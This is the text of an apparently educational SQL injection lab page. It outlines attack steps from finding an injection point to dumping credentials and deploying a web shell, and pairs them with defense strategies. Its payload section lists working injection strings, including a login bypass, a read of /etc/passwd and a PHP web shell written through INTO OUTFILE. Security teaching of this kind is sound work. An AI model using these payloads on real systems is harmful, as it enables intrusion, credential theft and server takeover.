🛡️ Authorized Lab Environment All demos run against safe, isolated lab targets. Includes defensive takeaways and security best practices. Educational Only

💉 Database Security Testing Lab

SQL Injection Analysis

From detection to full database compromise and web shell deployment

UNION-Based
Error-Based
Boolean Blind
Time-Based
Out-of-Band
root@kali:~ — SQLi Testing — 120×30 ● DATABASE ATTACK
01
Find Injection
error-based
02
Column Count
ORDER BY
03
UNION Extract
db version
04
Enum DBs
schemata
05
Enum Tables
information
06
Dump Data
credentials
07
Auth Bypass
'--
08
Web Shell
INTO OUTFILE

💣 Common SQLi Payloads

Authentication Bypass
' OR '1'='1'--
UNION Column Detection
' UNION SELECT NULL,NULL,NULL--
Database Enumeration
' UNION SELECT schema_name FROM information_schema.schemata--
Time-Based Blind
' AND SLEEP(5)--
File Read (MySQL)
' UNION SELECT LOAD_FILE('/etc/passwd')--
Write Web Shell
' UNION SELECT '<?php system($_GET[c]);?>' INTO OUTFILE '/var/www/shell.php'--

🛡️ Defense Strategies

Parameterized Queries
Use PreparedStatement or ORM
Input Validation
Whitelist allowed characters
Least Privilege
Restrict DB user permissions
WAF Rules
Block common SQLi patterns
Error Handling
Never expose DB errors to users
Stored Procedures
Abstract direct SQL access

Master Database Security

Learn to find, exploit, and defend against SQL injection and other database attacks

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